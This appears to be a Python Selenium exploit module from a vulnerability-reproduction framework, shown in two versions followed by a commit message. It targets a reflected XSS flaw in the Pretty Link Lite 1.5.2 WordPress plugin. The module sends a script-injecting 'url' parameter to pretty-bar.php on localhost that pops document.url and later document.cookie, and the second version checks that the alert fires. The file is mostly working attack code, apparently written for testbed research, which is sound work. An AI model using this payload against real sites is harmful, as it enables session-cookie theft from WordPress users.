import sys
import os
import time

import selenium.common.exceptions
import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "XFDB_75614B",
                  'Description' : "Pretty Link Lite 1.5.2 for wordpress 3.2 XSS",
                  'References' :  [['http://xforce.iss.net/xforce/xfdb/75614']], 
                  'Target' :      "Wordpress 3.2",
                  'TargetLicense' : '',
                  'Plugin' : "Pretty Link 1.5.2",
                  'VulWikiPage' : "seamster.cs.umd.edu/vulwiki/index.php/75614",
                  'Type' : 'XSS'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            

    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://127.0.0.1/wordpress/wp-content/plugins/pretty-link/pretty-bar.php?url=\"><script>alert(document.url);</script>\"") 
        

        if self.visible:
            time.sleep(10)

        driver.cleanup()
        return

import sys
import os
import time

import selenium.common.exceptions
import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "XFDB_75614B",
                  'Description' : "Pretty Link Lite 1.5.2 for wordpress 3.2 XSS",
                  'References' :  [['http://xforce.iss.net/xforce/xfdb/75614']], 
                  'Target' :      "Wordpress 3.2",
                  'TargetLicense' : '',
                  'Plugin' : "Pretty Link 1.5.2",
                  'VulWikiPage' : "seamster.cs.umd.edu/vulwiki/index.php/75614",
                  'Type' : 'XSS'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            

    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://127.0.0.1/wordpress/wp-content/plugins/pretty-link/pretty-bar.php?url=\"><script>alert(document.cookie);</script>")
        
        alert = None
        tries = 5
        while (not alert) and tries:
            alert = driver.switch_to_alert()
            tries -= 1
            time.sleep(1)
        print alert

        if self.visible:
            time.sleep(10)

        driver.cleanup()
        return

add check for expl 75614B